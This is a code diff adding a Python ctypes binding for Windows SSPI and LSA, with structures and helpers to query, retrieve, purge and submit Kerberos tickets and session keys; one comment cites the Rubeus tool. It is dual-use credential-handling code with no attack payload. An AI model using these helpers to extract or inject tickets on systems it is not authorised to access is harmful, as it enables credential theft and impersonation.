+ 0x80090349 # The certificate is not valid for the requested usage. + ) + DOWNGRADE_DETECTED = 0x80090350 # The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you. + SMARTCARD_CERT_REVOKED = 0x80090351 # The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log might contain additional information. + ISSUING_CA_UNTRUSTED = 0x80090352 # An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator. + REVOCATION_OFFLINE_C = 0x80090353 # The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator. + PKINIT_CLIENT_FAILURE = 0x80090354 # The smart card certificate used for authentication was not trusted. Contact your system administrator. + SMARTCARD_CERT_EXPIRED = 0x80090355 # The smart card certificate used for authentication has expired. Contact your system administrator. + NO_S4U_PROT_SUPPORT = 0x80090356 # The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users. + CROSSREALM_DELEGATION_FAILURE = 0x80090357 # An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator. + REVOCATION_OFFLINE_KDC = 0x80090358 # The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator. + ISSUING_CA_UNTRUSTED_KDC = 0x80090359 # An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator. + KDC_CERT_EXPIRED = 0x8009035A # The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log. + KDC_CERT_REVOKED = 0x8009035B # The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log. + INVALID_PARAMETER = ( + 0x8009035D # One or more of the parameters passed to the function were invalid. + ) + DELEGATION_POLICY = 0x8009035E # The client policy does not allow credential delegation to the target server. + POLICY_NLTM_ONLY = 0x8009035F # The client policy does not allow credential delegation to the target server with NLTM only authentication. + RENEGOTIATE = 590625 + COMPLETE_AND_CONTINUE = 590612 + COMPLETE_NEEDED = 590611 + # INCOMPLETE_CREDENTIALS = 590624 + + +class SECPKG_CRED(enum.IntFlag): + AUTOLOGON_RESTRICTED = 0x00000010 # The security does not use default logon credentials or credentials from Credential Manager. + # This value is supported only by the Negotiate security package. + # Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. + + BOTH = 3 # Validate an incoming credential or use a local credential to prepare an outgoing token. This flag enables both other flags. This flag is not valid with the Digest and Schannel SSPs. + INBOUND = 1 # Validate an incoming server credential. Inbound credentials might be validated by using an authenticating authority when InitializeSecurityContext (General) or AcceptSecurityContext (General) is called. If such an authority is not available, the function will fail and return SEC_E_NO_AUTHENTICATING_AUTHORITY. Validation is package specific. + OUTBOUND = 2 # Allow a local client credential to prepare an outgoing token. + PROCESS_POLICY_ONLY = 0x00000020 # The function processes server policy and returns SEC_E_NO_CREDENTIALS, indicating that the application should prompt for credentials. + # This value is supported only by the Negotiate security package. + # Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. + + +class ISC_REQ(enum.IntFlag): + DELEGATE = 1 + MUTUAL_AUTH = 2 + REPLAY_DETECT = 4 + SEQUENCE_DETECT = 8 + CONFIDENTIALITY = 16 + USE_SESSION_KEY = 32 + PROMPT_FOR_CREDS = 64 + USE_SUPPLIED_CREDS = 128 + ALLOCATE_MEMORY = 256 + USE_DCE_STYLE = 512 + DATAGRAM = 1024 + CONNECTION = 2048 + CALL_LEVEL = 4096 + FRAGMENT_SUPPLIED = 8192 + EXTENDED_ERROR = 16384 + STREAM = 32768 + INTEGRITY = 65536 + IDENTIFY = 131072 + NULL_SESSION = 262144 + MANUAL_CRED_VALIDATION = 524288 + RESERVED1 = 1048576 + FRAGMENT_TO_FIT = 2097152 + HTTP = 0x10000000 + + +class SECPKG_ATTR(enum.Enum): + SESSION_KEY = 9 + C_ACCESS_TOKEN = 0x80000012 # The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server. + C_FULL_ACCESS_TOKEN = 0x80000082 # The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server. + CERT_TRUST_STATUS = 0x80000084 # The pBuffer parameter contains a pointer to a CERT_TRUST_STATUS structure that specifies trust information about the certificate.This attribute is supported only on the client. + CREDS = 0x80000080 # The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. The client credentials can be either user name and password or user name and smart card PIN. This attribute is supported only on the server. + CREDS_2 = 0x80000086 # The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. If the client credential is user name and password, the buffer is a packed KERB_INTERACTIVE_LOGON structure. If the client credential is user name and smart card PIN, the buffer is a packed KERB_CERTIFICATE_LOGON structure. If the client credential is an online identity credential, the buffer is a marshaled SEC_WINNT_AUTH_IDENTITY_EX2 structure. This attribute is supported only on the CredSSP server. Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. + NEGOTIATION_PACKAGE = 0x80000081 # The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfo structure that specifies the name of the authentication package negotiated by the Microsoft Negotiate provider. + PACKAGE_INFO = 10 # The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfostructure.Returns information on the SSP in use. + SERVER_AUTH_FLAGS = 0x80000083 # The pBuffer parameter contains a pointer to a SecPkgContext_Flags structure that specifies information about the flags in the current security context. This attribute is supported only on the client. + SIZES = 0x0 # The pBuffer parameter contains a pointer to a SecPkgContext_Sizes structure. Queries the sizes of the structures used in the per-message functions and authentication exchanges. + SUBJECT_SECURITY_ATTRIBUTES = 124 # The pBuffer parameter contains a pointer to a SecPkgContext_SubjectAttributes structure. This value returns information about the security attributes for the connection. This value is supported only on the CredSSP server. Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. + ENDPOINT_BINDINGS = 26 + + +# https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-_secbuffer +class SECBUFFER_TYPE(enum.Enum): + SECBUFFER_ALERT = 17 # The buffer contains an alert message. + SECBUFFER_ATTRMASK = 4026531840 # The buffer contains a bitmask for a SECBUFFER_READONLY_WITH_CHECKSUM buffer. + SECBUFFER_CHANNEL_BINDINGS = 14 # The buffer contains channel binding information. + SECBUFFER_CHANGE_PASS_RESPONSE = ( + 15 # The buffer contains a DOMAIN_PASSWORD_INFORMATION structure. + ) + SECBUFFER_DATA = 1 # The buffer contains common data. The security package can read and write this data, for example, to encrypt some or all of it. + SECBUFFER_DTLS_MTU = 24 # The buffer contains the setting for the maximum transmission unit (MTU) size for DTLS only. The default value is 1096 and the valid configurable range is between 200 and 64*1024. + SECBUFFER_EMPTY = 0 # This is a placeholder in the buffer array. The caller can supply several such entries in the array, and the security package can return information in them. For more information, see SSPI Context Semantics. + SECBUFFER_EXTRA = 5 # The security package uses this value to indicate the number of extra or unprocessed bytes in a message. + SECBUFFER_MECHLIST = 11 # The buffer contains a protocol-specific list of object identifiers (OIDs). It is not usually of interest to callers. + SECBUFFER_MECHLIST_SIGNATURE = 12 # The buffer contains a signature of a SECBUFFER_MECHLIST buffer. It is not usually of interest to callers. + SECBUFFER_MISSING = 4 # The security package uses this value to indicate the number of missing bytes in a particular message. The pvBuffer member is ignored in this type. + SECBUFFER_PKG_PARAMS = 3 # These are transport-to-package–specific parameters. For example, the NetWare redirector may supply the server object identifier, while DCE RPC can supply an association UUID, and so on. + SECBUFFER_PRESHARED_KEY = 22 # The buffer contains the preshared key. The maximum allowed PSK buffer size is 256 bytes. + SECBUFFER_PRESHARED_KEY_IDENTITY = ( + 23 # The buffer contains the preshared key identity. + ) + SECBUFFER_SRTP_MASTER_KEY_IDENTIFIER = ( + 20 # The buffer contains the SRTP master key identifier. + ) + SECBUFFER_SRTP_PROTECTION_PROFILES = 19 # The buffer contains the list of SRTP protection profiles, in descending order of preference. + SECBUFFER_STREAM_HEADER = 7 # The buffer contains a protocol-specific header for a particular record. It is not usually of interest to callers. + SECBUFFER_STREAM_TRAILER = 6 # The buffer contains a protocol-specific trailer for a particular record. It is not usually of interest to callers. + SECBUFFER_TARGET = 13 # This flag is reserved. Do not use it. + SECBUFFER_TARGET_HOST = ( + 16 # The buffer specifies the service principal name (SPN) of the target. + ) + # This value is supported by the Digest security package when used with channel bindings. + # Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. + SECBUFFER_TOKEN = 2 # The buffer contains the security token portion of the message. This is read-only for input parameters or read/write for output parameters. + SECBUFFER_TOKEN_BINDING = 21 # The buffer contains the supported token binding protocol version and key parameters, in descending order of preference. + SECBUFFER_APPLICATION_PROTOCOLS = 18 # The buffer contains a list of application protocol IDs, one list per application protocol negotiation extension type to be enabled. + SECBUFFER_PADDING = 9 + + +class FILETIME(Structure): + _fields_ = [ + ("dwLowDateTime", DWORD), + ("dwHighDateTime", DWORD), + ] + + +PFILETIME = POINTER(FILETIME) +TimeStamp = FILETIME +PTimeStamp = PFILETIME + +# https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-secpkgcontext_sessionkey +class SecPkgContext_SessionKey(Structure): + _fields_ = [("SessionKeyLength", ULONG), ("SessionKey", LPBYTE)] + + @property + def Buffer(self): + return string_at(self.SessionKey, size=self.SessionKeyLength) + + +# https://github.com/benjimin/pywebcorp/blob/master/pywebcorp/ctypes_sspi.py +class SecHandle(Structure): + + _fields_ = [("dwLower", POINTER(ULONG)), ("dwUpper", POINTER(ULONG))] + + def __init__( + self, + ): # populate deeply (empty memory fields) rather than shallow null POINTERs. + super(SecHandle, self).__init__(pointer(ULONG()), pointer(ULONG())) + + +class SecBuffer(Structure): + """Stores a memory buffer: size, type-flag, and POINTER. + The type can be empty (0) or token (2). + InitializeSecurityContext will write to the buffer that is flagged "token" + and update the size, or else fail 0x80090321=SEC_E_BUFFER_TOO_SMALL.""" + + _fields_ = [("cbBuffer", ULONG), ("BufferType", ULONG), ("pvBuffer", PVOID)] + + def __init__( + self, token=b"\x00" * maxtoken_size, buffer_type=SECBUFFER_TYPE.SECBUFFER_TOKEN + ): + buf = create_string_buffer(token, size=len(token)) + Structure.__init__( + self, sizeof(buf), buffer_type.value, cast(byref(buf), PVOID) + ) + + @property + def Buffer(self): + return ( + SECBUFFER_TYPE(self.BufferType), + string_at(self.pvBuffer, size=self.cbBuffer), + ) + + +class SecBufferDesc(Structure): + """Descriptor stores SECBUFFER_VERSION=0, number of buffers (e.g. one), + and POINTER to an array of SecBuffer structs.""" + + _fields_ = [ + ("ulVersion", ULONG), + ("cBuffers", ULONG), + ("pBuffers", POINTER(SecBuffer)), + ] + + def __init__(self, secbuffers=None): + # secbuffers = a list of security buffers (SecBuffer) + if secbuffers is not None: + Structure.__init__( + self, 0, len(secbuffers), (SecBuffer * len(secbuffers))(*secbuffers) + ) + else: + Structure.__init__(self, 0, 1, pointer(SecBuffer())) + + def __getitem__(self, index): + return self.pBuffers[index] + + @property + def Buffers(self): + data = [] + for i in range(self.cBuffers): + data.append(self.pBuffers[i].Buffer) + return data + + +PSecBufferDesc = POINTER(SecBufferDesc) + +PSecHandle = POINTER(SecHandle) +CredHandle = SecHandle +PCredHandle = PSecHandle +CtxtHandle = SecHandle +PCtxtHandle = PSecHandle + + +class LUID(Structure): + _fields_ = [ + ("LowPart", DWORD), + ("HighPart", LONG), + ] + + def to_int(self): + return LUID.luid_to_int(self) + + @staticmethod + def luid_to_int(luid): + return (luid.HighPart << 32) + luid.LowPart + + @staticmethod + def from_int(i): + luid = LUID() + luid.HighPart = i >> 32 + luid.LowPart = i & 0xFFFFFFFF + return luid + + +PLUID = POINTER(LUID) + + +class LSA_STRING(Structure): + _fields_ = [ + ("Length", USHORT), + ("MaximumLength", USHORT), + ("Buffer", POINTER(c_char)), + ] + + def to_string(self): + return string_at(self.Buffer, self.MaximumLength).decode() + + +PLSA_STRING = POINTER(LSA_STRING) + + +class LSA_UNICODE_STRING(Structure): + _fields_ = [ + ("Length", USHORT), + ("MaximumLength", USHORT), + ("Buffer", POINTER(c_char)), + ] + + @staticmethod + def from_string(s): + s = s.encode("utf-16-le") + lus = LSA_UNICODE_STRING() + lus.Buffer = create_string_buffer(s, len(s)) + lus.MaximumLength = len(s) + 1 + lus.Length = len(s) + return lus + + def to_string(self): + return ( + string_at(self.Buffer, self.MaximumLength) + .decode("utf-16-le") + .replace("\x00", "") + ) + + +PLSA_UNICODE_STRING = POINTER(LSA_UNICODE_STRING) + + +class LSA_LAST_INTER_LOGON_INFO(Structure): + _fields_ = [ + ("LastSuccessfulLogon", LARGE_INTEGER), + ("LastFailedLogon", LARGE_INTEGER), + ("FailedAttemptCountSinceLastSuccessfulLogon", ULONG), + ] + + def to_dict(self): + return { + "LastSuccessfulLogon": self.LastSuccessfulLogon, + "LastFailedLogon": self.LastFailedLogon, + "FailedAttemptCountSinceLastSuccessfulLogon": self.FailedAttemptCountSinceLastSuccessfulLogon, + } + + +PLSA_LAST_INTER_LOGON_INFO = POINTER(LSA_LAST_INTER_LOGON_INFO) + + +class SECURITY_LOGON_SESSION_DATA(Structure): + _fields_ = [ + ("Size", ULONG), + ("LogonId", LUID), + ("UserName", LSA_UNICODE_STRING), + ("LogonDomain", LSA_UNICODE_STRING), + ("AuthenticationPackage", LSA_UNICODE_STRING), + ("LogonType", ULONG), + ("Session", ULONG), + ("Sid", PVOID), + ("LogonTime", LARGE_INTEGER), + ("LogonServer", LSA_UNICODE_STRING), + ("DnsDomainName", LSA_UNICODE_STRING), + ("Upn", LSA_UNICODE_STRING), + ("UserFlags", ULONG), + ("LastLogonInfo", LSA_LAST_INTER_LOGON_INFO), + ("LogonScript", LSA_UNICODE_STRING), + ("ProfilePath", LSA_UNICODE_STRING), + ("HomeDirectory", LSA_UNICODE_STRING), + ("HomeDirectoryDrive", LSA_UNICODE_STRING), + ("LogoffTime", LARGE_INTEGER), + ("KickOffTime", LARGE_INTEGER), + ("PasswordLastSet", LARGE_INTEGER), + ("PasswordCanChange", LARGE_INTEGER), + ("PasswordMustChange", LARGE_INTEGER), + ] + + def to_dict(self): + return { + "LogonId": self.LogonId.to_int(), + "UserName": self.UserName.to_string(), + "LogonDomain": self.LogonDomain.to_string(), + "AuthenticationPackage": self.AuthenticationPackage.to_string(), + "LogonType": self.LogonType, + "Session": self.Session, + "Sid": str(SID.from_ptr(self.Sid)), # PVOID), # PSID + "LogonTime": self.LogonTime, + "LogonServer": self.LogonServer.to_string(), + "DnsDomainName": self.DnsDomainName.to_string(), + "Upn": self.Upn.to_string(), + "UserFlags": self.UserFlags, + "LastLogonInfo": self.LastLogonInfo.to_dict(), + "LogonScript": self.LogonScript.to_string(), + "ProfilePath": self.ProfilePath.to_string(), + "HomeDirectory": self.HomeDirectory.to_string(), + "HomeDirectoryDrive": self.HomeDirectoryDrive.to_string(), + "LogoffTime": self.LogoffTime, + "KickOffTime": self.KickOffTime, + "PasswordLastSet": self.PasswordLastSet, + "PasswordCanChange": self.PasswordCanChange, + "PasswordMustChange": self.PasswordMustChange, + } + + +PSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA) + + +class KERB_PURGE_TKT_CACHE_REQUEST(Structure): + _fields_ = [ + ("MessageType", DWORD), + ("LogonId", LUID), + ("ServerName", LSA_STRING), + ("RealmName", LSA_STRING), + ] + + def __init__(self, logonid=0, servername=None, realname=None): + if isinstance(logonid, int): + logonid = LUID.from_int(logonid) + + super(KERB_PURGE_TKT_CACHE_REQUEST, self).__init__( + KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage.value, logonid + ) + + +class KERB_TICKET_CACHE_INFO(Structure): + _fields_ = [ + ("ServerName", LSA_UNICODE_STRING), + ("RealmName", LSA_UNICODE_STRING), + ("StartTime", LARGE_INTEGER), + ("EndTime", LARGE_INTEGER), + ("RenewTime", LARGE_INTEGER), + ("EncryptionType", LONG), + ("TicketFlags", ULONG), + ] + + def to_dict(self): + return { + "ServerName": self.ServerName.to_string(), + "RealmName": self.RealmName.to_string(), + "StartTime": self.StartTime, + "EndTime": self.EndTime, + "RenewTime": self.RenewTime, + "EncryptionType": self.EncryptionType, + "TicketFlags": self.TicketFlags, + } + + +PKERB_TICKET_CACHE_INFO = POINTER(KERB_TICKET_CACHE_INFO) + + +class KERB_CRYPTO_KEY(Structure): + _fields_ = [ + ("KeyType", LONG), + ("Length", ULONG), + ("Value", PVOID), # PUCHAR + ] + + def to_dict(self): + return {"KeyType": self.KeyType, "Key": string_at(self.Value, self.Length)} + + +PKERB_CRYPTO_KEY = POINTER(KERB_CRYPTO_KEY) + + +class KERB_EXTERNAL_NAME(Structure): + _fields_ = [ + ("NameType", SHORT), + ("NameCount", USHORT), + ("Names", LSA_UNICODE_STRING), # LIST!!!! not implemented! + ] + + +PKERB_EXTERNAL_NAME = POINTER(KERB_EXTERNAL_NAME) + + +class KERB_EXTERNAL_TICKET(Structure): + _fields_ = [ + ("ServiceName", PVOID), # PKERB_EXTERNAL_NAME + ("TargetName", PVOID), # PKERB_EXTERNAL_NAME + ("ClientName", PVOID), # PKERB_EXTERNAL_NAME + ("DomainName", LSA_UNICODE_STRING), + ("TargetDomainName", LSA_UNICODE_STRING), + ("AltTargetDomainName", LSA_UNICODE_STRING), + ("SessionKey", KERB_CRYPTO_KEY), + ("TicketFlags", ULONG), + ("Flags", ULONG), + ("KeyExpirationTime", LARGE_INTEGER), + ("StartTime", LARGE_INTEGER), + ("EndTime", LARGE_INTEGER), + ("RenewUntil", LARGE_INTEGER), + ("TimeSkew", LARGE_INTEGER), + ("EncodedTicketSize", ULONG), + ("EncodedTicket", PVOID), + ] + + def get_data(self): + return { + "Key": self.SessionKey.to_dict(), + "Ticket": string_at(self.EncodedTicket, self.EncodedTicketSize), + } + + +PKERB_EXTERNAL_TICKET = KERB_EXTERNAL_TICKET + + +class KERB_QUERY_TKT_CACHE_REQUEST(Structure): + _fields_ = [ + ("MessageType", DWORD), + ("LogonId", LUID), + ] + + def __init__(self, logonid=0): + if isinstance(logonid, int): + logonid = LUID.from_int(logonid) + + super(KERB_QUERY_TKT_CACHE_REQUEST, self).__init__( + KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage.value, logonid + ) + + +class KERB_QUERY_TKT_CACHE_RESPONSE_SIZE(Structure): + _fields_ = [ + ("MessageType", DWORD), + ("CountOfTickets", ULONG), + ] + + +class KERB_QUERY_TKT_CACHE_RESPONSE(Structure): + _fields_ = [ + ("MessageType", DWORD), + ("CountOfTickets", ULONG), + ("Tickets", KERB_TICKET_CACHE_INFO), # array of tickets!! + ] + + +class KERB_SUBMIT_TKT_REQUEST(Structure): + _fields_ = [ + ("MessageType", DWORD), + ("LogonId", LUID), + ("TicketFlags", ULONG), + ("Key", KERB_CRYPTO_KEY), + ("KerbCredSize", ULONG), + ("KerbCredOffset", ULONG), + ] + + +KERB_SUBMIT_TKT_REQUEST_OFFSET = sizeof(KERB_SUBMIT_TKT_REQUEST()) + + +def submit_tkt_helper(ticket_data, logonid=0): + offset = KERB_SUBMIT_TKT_REQUEST_OFFSET - 4 + if isinstance(logonid, int): + logonid = LUID.from_int(logonid) + + class KERB_SUBMIT_TKT_REQUEST(Structure): + _pack_ = 4 + _fields_ = [ + ("MessageType", DWORD), + ("LogonId", LUID), + ("TicketFlags", ULONG), + # ("KeyType", LONG), + ("Length", ULONG), + ("Value", PVOID), # PUCHAR + ("KerbCredSize", ULONG), + ("KerbCredOffset", ULONG), + ("TicketData", c_byte * len(ticket_data)), + ] + + req = KERB_SUBMIT_TKT_REQUEST() + req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage.value + req.LogonId = logonid + req.TicketFlags = 0 + req.Key = KERB_CRYPTO_KEY() # empty key + req.KerbCredSize = len(ticket_data) + # req.KerbCredOffset = + req.TicketData = (c_byte * len(ticket_data))(*ticket_data) + + # struct_end = addressof(req) + sizeof(req) + # print('struct_end %s' % hex(struct_end)) + # ticketdata_start = struct_end - len(ticket_data) + # targetname_start_padded = ticketdata_start - (ticketdata_start % sizeof(c_void_p)) + # print('targetname_start_padded %s' % hex(targetname_start_padded)) + # print('offset %s' % offset) + # print('len(ticket_data) %s' % len(ticket_data)) + req.KerbCredOffset = offset # targetname_start_padded + + # print(hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req))) + # print() + # print(hexdump(string_at(addressof(req) + req.KerbCredOffset, 10 ))) + # if string_at(addressof(req) + req.KerbCredOffset, req.KerbCredSize) != ticket_data: + # print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!') + + return req + + +class KERB_RETRIEVE_TKT_REQUEST(Structure): + _fields_ = [ + ("MessageType", DWORD), + ("LogonId", LUID), + ("TargetName", LSA_UNICODE_STRING), + ("TicketFlags", ULONG), + ("CacheOptions", ULONG), + ("EncryptionType", LONG), + ("CredentialsHandle", PVOID), # SecHandle + ] + + def __init__( + self, + targetname, + ticketflags=0x0, + cacheoptions=0x8, + encryptiontype=0x0, + logonid=0, + ): + if isinstance(logonid, int): + logonid = LUID.from_int(logonid) + + super(KERB_RETRIEVE_TKT_REQUEST, self).__init__( + KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value, + logonid, + LSA_UNICODE_STRING.from_string(targetname), + ticketflags, + cacheoptions, + encryptiontype, + None, + ) + + +def retrieve_tkt_helper( + targetname, + logonid=0, + ticketflags=0x0, + cacheoptions=0x8, + encryptiontype=0x0, + temp_offset=0, +): + # Rubeus helped me here with the info that the "targetname" structure's internal pointer + # must be pointing to the bottom of the actual KERB_RETRIEVE_TKT_REQUEST otherwise you will get a generic error + # Sadly that wasn't completely enough because . So I introduced an extra pointer to serve + # as a platform-independent padding between the oringinal structure and the actual targetname bytes. + # + # For reference: + # https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/LSA.cs + + if isinstance(logonid, int): + logonid = LUID.from_int(logonid) + + targetname_enc = targetname.encode("utf-16-le") + b"\x00\x00" + targetname_len_alloc = len(targetname_enc) + + class KERB_RETRIEVE_TKT_REQUEST(Structure): + _fields_ = [ + ("MessageType", DWORD), + ("LogonId", LUID), + ("TargetName", LSA_UNICODE_STRING), + ("TicketFlags", ULONG), + ("CacheOptions", ULONG), + ("EncryptionType", LONG), + ("CredentialsHandle", PVOID), # SecHandle + ( + "UNK", + PVOID, + ), # I put this here otherwise there is an error "Invalid parameter". Probably padding issue but I dunno + ("TargetNameData", (c_byte * targetname_len_alloc)), + ] + + req = KERB_RETRIEVE_TKT_REQUEST() + req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value + req.LogonId = logonid + req.TicketFlags = ticketflags + req.CacheOptions = cacheoptions + req.EncryptionType = encryptiontype + req.TargetNameData = (c_byte * len(targetname_enc))(*targetname_enc) + + struct_end = addressof(req) + sizeof(req) + targetname_start = struct_end - targetname_len_alloc + targetname_start_padded = targetname_start - (targetname_start % sizeof(c_void_p)) + + lsa_target = LSA_UNICODE_STRING() + lsa_target.Length = len(targetname.encode("utf-16-le")) + lsa_target.MaximumLength = targetname_len_alloc + lsa_target.Buffer = cast(targetname_start_padded, POINTER(c_char)) + + req.TargetName = lsa_target + + # print(targetname_start_padded) + # print(lsa_target.Buffer.contents) + ##print(lsa_target.to_string()) + # print(string_at(targetname_start_padded, lsa_target.MaximumLength)) + # print('a %s' % addressof(req)) + # print('s %s' % sizeof(req)) + # hd = hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req)) + # print(hd) + + return req + + +class KERB_RETRIEVE_TKT_RESPONSE(Structure): + _fields_ = [ + ("Ticket", KERB_EXTERNAL_TICKET), + ] + + +# Invalid handle value is -1 casted to void pointer. +try: + INVALID_HANDLE_VALUE = c_void_p(-1).value # -1 #0xFFFFFFFF +except TypeError: + if sizeof(c_void_p) == 4: + INVALID_HANDLE_VALUE = 0xFFFFFFFF + elif sizeof(c_void_p) == 8: + INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF + else: + raise + + +def get_lsa_error(ret_status): + return WinError(LsaNtStatusToWinError(ret_status)) + + +def RaiseIfZero(result, func=None, arguments=()): + """ + Error checking for most Win32 API calls. + + The function is assumed to return an integer, which is C{0} on error. + In that case the C{WindowsError} exception is raised. + """ + if not result: + raise WinError() + return result + + +def LsaRaiseIfNotErrorSuccess(result, func=None, arguments=()): + """ + Error checking for Win32 Registry API calls. + + The function is assumed to return a Win32 error code. If the code is not + C{ERROR_SUCCESS} then a C{WindowsError} exception is raised. + """ + if result != ERROR_SUCCESS: + raise WinError(LsaNtStatusToWinError(result)) + return result + + +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsantstatustowinerror +def LsaNtStatusToWinError(errcode): + _LsaConnectUntrusted = windll.Advapi32.LsaNtStatusToWinError + _LsaConnectUntrusted.argtypes = [NTSTATUS] + _LsaConnectUntrusted.restype = ULONG + + res = _LsaConnectUntrusted(errcode) + if res == 0x13D: + raise Exception("ERROR_MR_MID_NOT_FOUND for %s" % errcode) + return res + + +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsafreereturnbuffer +def LsaFreeReturnBuffer(pbuffer): + _LsaFreeReturnBuffer = windll.Secur32.LsaFreeReturnBuffer + _LsaFreeReturnBuffer.argtypes = [PVOID] + _LsaFreeReturnBuffer.restype = NTSTATUS + _LsaFreeReturnBuffer.errcheck = LsaRaiseIfNotErrorSuccess + + _LsaFreeReturnBuffer(pbuffer) + + +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaconnectuntrusted +def LsaConnectUntrusted(): + _LsaConnectUntrusted = windll.Secur32.LsaConnectUntrusted + _LsaConnectUntrusted.argtypes = [PHANDLE] + _LsaConnectUntrusted.restype = NTSTATUS + _LsaConnectUntrusted.errcheck = LsaRaiseIfNotErrorSuccess + + lsa_handle = HANDLE(INVALID_HANDLE_VALUE) + _LsaConnectUntrusted(byref(lsa_handle)) + return lsa_handle + + +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaderegisterlogonprocess +def LsaDeregisterLogonProcess(lsa_handle): + _LsaDeregisterLogonProcess = windll.Secur32.LsaDeregisterLogonProcess + _LsaDeregisterLogonProcess.argtypes = [HANDLE] + _LsaDeregisterLogonProcess.restype = NTSTATUS + _LsaDeregisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess + + _LsaDeregisterLogonProcess(lsa_handle) + + return + + +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess +def LsaRegisterLogonProcess(logon_process_name): + # logon_process_name == This string must not exceed 127 bytes. + _LsaRegisterLogonProcess = windll.Secur32.LsaRegisterLogonProcess + _LsaRegisterLogonProcess.argtypes = [PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE] + _LsaRegisterLogonProcess.restype = NTSTATUS + _LsaRegisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess + + if isinstance(logon_process_name, str): + logon_process_name = logon_process_name.encode() + + pname = LSA_STRING() + pname.Buffer = create_string_buffer(logon_process_name) + pname.Length = len(logon_process_name) + pname.MaximumLength = len(logon_process_name) + 1 + + lsa_handle = HANDLE(INVALID_HANDLE_VALUE) + dummy = LSA_OPERATIONAL_MODE(0) + _LsaRegisterLogonProcess(byref(pname), byref(lsa_handle), byref(dummy)) + + return lsa_handle + + +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalookupauthenticationpackage +def LsaLookupAuthenticationPackage(lsa_handle, package_name): + # logon_process_name == This string must not exceed 127 bytes. + _LsaLookupAuthenticationPackage = windll.Secur32.LsaLookupAuthenticationPackage + _LsaLookupAuthenticationPackage.argtypes = [HANDLE, PLSA_STRING, PULONG] + _LsaLookupAuthenticationPackage.restype = NTSTATUS + _LsaLookupAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess + + if isinstance(package_name, str): + package_name = package_name.encode() + + pname = LSA_STRING() + pname.Buffer = create_string_buffer(package_name) + pname.Length = len(package_name) + pname.MaximumLength = len(package_name) + 1 + + package_id = ULONG(0) + _LsaLookupAuthenticationPackage(lsa_handle, byref(pname), byref(package_id)) + + return package_id.value + + +# https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage +def LsaCallAuthenticationPackage(lsa_handle, package_id, message): + # message bytes + _LsaCallAuthenticationPackage = windll.Secur32.LsaCallAuthenticationPackage + _LsaCallAuthenticationPackage.argtypes = [ + HANDLE, + ULONG, + PVOID, + ULONG, + PVOID, + PULONG, + PNTSTATUS, + ] + _LsaCallAuthenticationPackage.restype = DWORD + _LsaCallAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess + + if not isinstance(message, Structure): + message = bytes(message) + message_len = len(message) + else: + message_len = len(bytes(message)) + + return_msg_p = c_void_p() + return_msg_len = ULONG(0) + return_status = NTSTATUS(INVALID_HANDLE_VALUE) + _LsaCallAuthenticationPackage( + lsa_handle, + package_id, + byref(message), + message_len, + byref(return_msg_p), + byref(return_msg_len), + byref(return_status), + ) + + return_msg = b"" + free_ptr = None # please free this pointer when the parsing is finished on the upper levels using LsaFreeReturnBuffer. Problem is that if we call LsaFreeReturnBuffer here then the parsing will fail if the message has nested structures with pointers involved because by the time of parsing those pointers will be freed. sad. + if return_msg_len.value > 0: + return_msg = string_at(return_msg_p, return_msg_len.value) + free_ptr = return_msg_p + # LsaFreeReturnBuffer(return_msg_p) + + return return_msg, return_status.value, free_ptr + 